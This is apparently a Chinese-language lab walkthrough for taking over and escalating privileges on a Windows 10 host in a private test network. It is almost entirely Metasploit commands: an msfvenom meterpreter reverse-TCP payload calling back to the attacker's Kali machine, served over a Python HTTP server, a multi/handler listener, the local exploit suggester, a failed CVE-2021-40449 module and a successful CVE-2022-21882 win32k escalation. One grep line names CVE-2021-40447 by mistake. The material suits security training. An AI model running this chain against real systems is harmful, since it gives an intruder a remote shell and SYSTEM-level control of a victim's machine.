CVE-2021-40449

实验

实验环境

Windows10 受害者 192.168.192.147  使用wesng发现有CVE-2021-40449漏洞

Kali 攻击者 192.168.192.128

python wes.py systeminfo.txt -o win10.csv
cat win10.csv | grep "CVE-2021-40447"

实验步骤

此时我们不知道有CVE-2021-40449漏洞

step01:建立一个meterpreter木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=1111 -f exe -o meterpreter.exe

step02:发送给受害者

python -m http.server 8080

step03:配置MSF

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.192.128
set LPORT 1111
exploit

step04:拿到meterpreter

step05:使用post/multi/recon/local_exploit_suggester模块找合适提权漏洞

background
show sessions
sessions -i 1
getuid
backgroud
use post/multi/recon/local_exploit_suggester
show options
set session1
exploit

发现CVE-2021-40449

search cve_2021_40449
use exploit/windows/local/cve_2021_40449
show options
set session 1
set LHOST 192.168.192.128
set LPORT 1111
exploit

发现貌似不行 无法提权

我们尝试使用别的

再次看post/multi/recon/local_exploit_suggester给的Potentially Vulnerable?为yes的漏洞

我们选择exploit/windows/local/cve_2022_21882_win32k

use exploit/windows/local/cve_2022_21882_win32k
show options
set session 1
set LHOST 192.168.192.128
set LPORT 1111
exploit

ok成功提权